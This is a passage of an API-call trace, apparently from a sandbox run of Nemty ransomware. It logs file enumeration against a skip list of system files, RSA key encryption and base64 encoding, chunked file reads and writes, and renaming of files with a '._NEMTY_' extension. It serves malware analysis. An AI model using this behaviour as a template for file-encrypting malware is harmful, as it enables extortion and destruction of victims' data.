lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0119.068] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51481554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0119.068] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0119.068] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51641554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0119.068] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0119.078] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51641554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0119.078] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0119.078] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51801554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0119.078] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0119.087] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51801554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0119.087] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0119.087] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51961554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0119.087] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0119.098] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51961554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0119.098] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0119.098] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52121554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0119.098] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0119.107] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52121554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0119.107] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0119.107] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52281554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0119.107] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0119.116] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52281554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0119.116] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0119.116] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52441554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0119.116] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0119.126] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52441554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0119.126] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0119.126] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52601554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0119.126] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0119.135] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52601554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0119.135] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0119.135] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52761554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0119.135] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0119.145] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52761554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0119.145] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0119.145] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52921554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0119.145] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0119.154] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52921554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0119.154] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0119.154] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0119.154] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0119.160] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0119.160] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0119.160] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106060708, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0119.160] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0119.166] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106060708, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0119.166] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0119.166] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106163108, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0119.167] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6340428, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0119.167] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6351c48 | out: hHeap=0x4f90000) returned 1 [0119.167] CloseHandle (hObject=0xffffffff) returned 0 [0119.167] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xc0) returned 0x6343fe8 [0119.167] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0119.167] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed30 [0119.167] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ed30, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0119.167] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ece0 [0119.167] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed30 | out: hHeap=0x4f90000) returned 1 [0119.167] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xc0) returned 0x63440b0 [0119.167] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x11e) returned 0x6344178 [0119.167] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63440b0 | out: hHeap=0x4f90000) returned 1 [0119.167] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ece0 | out: hHeap=0x4f90000) returned 1 [0119.167] MoveFileW (lpExistingFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\Clock.Gadget\\images\\settings_corner_bottom_left.png" (normalized: "c:\\program files\\windows sidebar\\gadgets\\clock.gadget\\images\\settings_corner_bottom_left.png"), lpNewFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\Clock.Gadget\\images\\settings_corner_bottom_left.png._NEMTY_kGOBjgD_" (normalized: "c:\\program files\\windows sidebar\\gadgets\\clock.gadget\\images\\settings_corner_bottom_left.png._nemty_kgobjgd_")) returned 0 [0119.167] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6344178 | out: hHeap=0x4f90000) returned 1 [0119.167] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6343fe8 | out: hHeap=0x4f90000) returned 1 [0119.167] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f93620 | out: hHeap=0x4f90000) returned 1 [0119.167] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340428 | out: hHeap=0x4f90000) returned 1 [0119.167] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0119.167] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0119.167] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0119.167] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340360 | out: hHeap=0x4f90000) returned 1 [0119.167] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0119.167] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0119.167] FindNextFileW (in: hFindFile=0x3423a70, lpFindFileData=0x653ecc8 | out: lpFindFileData=0x653ecc8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x82d7179b, ftCreationTime.dwHighDateTime=0x1ca0403, ftLastAccessTime.dwLowDateTime=0x82d7179b, ftLastAccessTime.dwHighDateTime=0x1ca0403, ftLastWriteTime.dwLowDateTime=0x28a2296f, ftLastWriteTime.dwHighDateTime=0x1c9ea0e, nFileSizeHigh=0x0, nFileSizeLow=0xa5, dwReserved0=0x11, dwReserved1=0x4f90000, cFileName="settings_corner_bottom_right.png", cAlternateFileName="")) returned 1 [0119.167] lstrcmpiW (lpString1="settings_corner_bottom_right.png", lpString2=".") returned 1 [0119.167] lstrcmpiW (lpString1="settings_corner_bottom_right.png", lpString2="..") returned 1 [0119.167] lstrcmpiW (lpString1="settings_corner_bottom_right.png", lpString2="...") returned 1 [0119.167] lstrcmpiW (lpString1="settings_corner_bottom_right.png", lpString2="windows") returned -1 [0119.168] lstrcmpiW (lpString1="settings_corner_bottom_right.png", lpString2="$RECYCLE.BIN") returned 1 [0119.168] lstrcmpiW (lpString1="settings_corner_bottom_right.png", lpString2="rsa") returned 1 [0119.168] lstrcmpiW (lpString1="settings_corner_bottom_right.png", lpString2="NTDETECT.COM") returned 1 [0119.168] lstrcmpiW (lpString1="settings_corner_bottom_right.png", lpString2="ntldr") returned 1 [0119.168] lstrcmpiW (lpString1="settings_corner_bottom_right.png", lpString2="MSDOS.SYS") returned 1 [0119.168] lstrcmpiW (lpString1="settings_corner_bottom_right.png", lpString2="IO.SYS") returned 1 [0119.168] lstrcmpiW (lpString1="settings_corner_bottom_right.png", lpString2="boot.ini") returned 1 [0119.168] lstrcmpiW (lpString1="settings_corner_bottom_right.png", lpString2="boot.ini") returned 1 [0119.168] lstrcmpiW (lpString1="settings_corner_bottom_right.png", lpString2="AUTOEXEC.BAT") returned 1 [0119.168] lstrcmpiW (lpString1="settings_corner_bottom_right.png", lpString2="ntuser.dat") returned 1 [0119.168] lstrcmpiW (lpString1="settings_corner_bottom_right.png", lpString2="desktop.ini") returned 1 [0119.168] lstrcmpiW (lpString1="settings_corner_bottom_right.png", lpString2="CONFIG.SYS") returned 1 [0119.168] lstrcmpiW (lpString1="settings_corner_bottom_right.png", lpString2="RECYCLER") returned 1 [0119.168] lstrcmpiW (lpString1="settings_corner_bottom_right.png", lpString2="BOOTSECT.BAK") returned 1 [0119.168] lstrcmpiW (lpString1="settings_corner_bottom_right.png", lpString2="bootmgr") returned 1 [0119.168] lstrcmpiW (lpString1="settings_corner_bottom_right.png", lpString2="programdata") returned 1 [0119.168] lstrcmpiW (lpString1="settings_corner_bottom_right.png", lpString2="appdata") returned 1 [0119.168] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x50) returned 0x4f94088 [0119.168] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="settings_corner_bottom_right.png", cchWideChar=32, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 32 [0119.168] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345608 [0119.168] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="settings_corner_bottom_right.png", cchWideChar=32, lpMultiByteStr=0x6345608, cbMultiByte=32, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="settings_corner_bottom_right.png", lpUsedDefaultChar=0x0) returned 32 [0119.168] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345608 | out: hHeap=0x4f90000) returned 1 [0119.168] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x50) returned 0x4f91640 [0119.168] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="settings_corner_bottom_right.png", cchWideChar=32, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 32 [0119.168] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345608 [0119.168] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="settings_corner_bottom_right.png", cchWideChar=32, lpMultiByteStr=0x6345608, cbMultiByte=32, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="settings_corner_bottom_right.png", lpUsedDefaultChar=0x0) returned 32 [0119.168] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345608 | out: hHeap=0x4f90000) returned 1 [0119.168] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f91640 | out: hHeap=0x4f90000) returned 1 [0119.168] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94088 | out: hHeap=0x4f90000) returned 1 [0119.168] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x50) returned 0x4f94088 [0119.168] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="settings_corner_bottom_right.png", cchWideChar=32, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 32 [0119.168] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345608 [0119.168] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="settings_corner_bottom_right.png", cchWideChar=32, lpMultiByteStr=0x6345608, cbMultiByte=32, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="settings_corner_bottom_right.png", lpUsedDefaultChar=0x0) returned 32 [0119.168] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94088 | out: hHeap=0x4f90000) returned 1 [0119.168] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x50) returned 0x4f94088 [0119.168] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="settings_corner_bottom_right.png", cchWideChar=32, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 32 [0119.169] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345640 [0119.169] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="settings_corner_bottom_right.png", cchWideChar=32, lpMultiByteStr=0x6345640, cbMultiByte=32, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="settings_corner_bottom_right.png", lpUsedDefaultChar=0x0) returned 32 [0119.169] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94088 | out: hHeap=0x4f90000) returned 1 [0119.169] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xc0) returned 0x6340360 [0119.169] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340298 | out: hHeap=0x4f90000) returned 1 [0119.169] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xc0) returned 0x63401e0 [0119.169] Sleep (dwMilliseconds=0x5) [0119.182] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653eae4 | out: lpSystemTimeAsFileTime=0x653eae4*(dwLowDateTime=0xfaaf4db0, dwHighDateTime=0x1d561e7)) [0119.182] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653eae4 | out: lpSystemTimeAsFileTime=0x653eae4*(dwLowDateTime=0xfaaf4db0, dwHighDateTime=0x1d561e7)) [0119.182] GetLastError () returned 0x5 [0119.182] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345da8 [0119.182] GetLastError () returned 0x5 [0119.182] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0119.182] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345da8 | out: hHeap=0x4f90000) returned 1 [0119.182] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0119.182] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653e920*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653e920*=0x100) returned 1 [0119.182] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653e924*, pdwDataLen=0x653e910*=0x10, dwBufLen=0x100 | out: pbData=0x653e924*, pdwDataLen=0x653e910*=0x100) returned 1 [0119.182] CryptBinaryToStringA (in: pbBinary=0x653e924, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653e91c | out: pszString=0x0, pcchString=0x653e91c) returned 1 [0119.182] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x6340428 [0119.182] CryptBinaryToStringA (in: pbBinary=0x653e924, cbBinary=0x100, dwFlags=0x1, pszString=0x6340428, pcchString=0x653e91c | out: pszString="mjctXccexWEn0t/Nlc8COU3bAdmzp8UzyDNN5NDH9i93EEwravh23Pm5tmrzZWEo\r\nvIQ6XD3KQbM0jeyxkOh4o2omK+fxXcozQNxjzJnRt3bSvnu1ylktd9TKVYMYWfZg\r\n4v4ZEjrbfgMnrC5lqlThYPCbaJuZnlhbY00ogt9vCJqM8GhayJgxE07D0ULr8JMB\r\ni7HG3b1HBwz5xM39KlLs/rx0jJHGFrsMTUZg9fg3Ya7uUyb4Z8x0BTIGZHSrQZ9x\r\nhuL+RnxIasGEwG1J5B654lO0MdGlyG6lSfqOdGqVfCj/PpCy5BjCUx76ekKB2Fcv\r\n3Cbzy7XmCOsUrFJC3RDzlw==\r\n", pcchString=0x653e91c) returned 1 [0119.182] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348d60 [0119.182] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340428 | out: hHeap=0x4f90000) returned 1 [0119.182] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0119.182] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f93620 [0119.182] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x6340428 [0119.182] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348ed8 [0119.182] CreateFileW (lpFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\Clock.Gadget\\images\\settings_corner_bottom_right.png" (normalized: "c:\\program files\\windows sidebar\\gadgets\\clock.gadget\\images\\settings_corner_bottom_right.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0119.183] GetFileSizeEx (in: hFile=0xffffffff, lpFileSize=0x653eb70 | out: lpFileSize=0x653eb70*=18150282790955940) returned 0 [0119.183] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x27100) returned 0x6351c48 [0119.183] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51481554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0119.183] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0119.193] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51481554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0119.193] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0119.193] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51641554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0119.193] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0119.202] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51641554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0119.202] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0119.202] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51801554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0119.202] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0119.212] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51801554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0119.212] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0119.212] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51961554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: 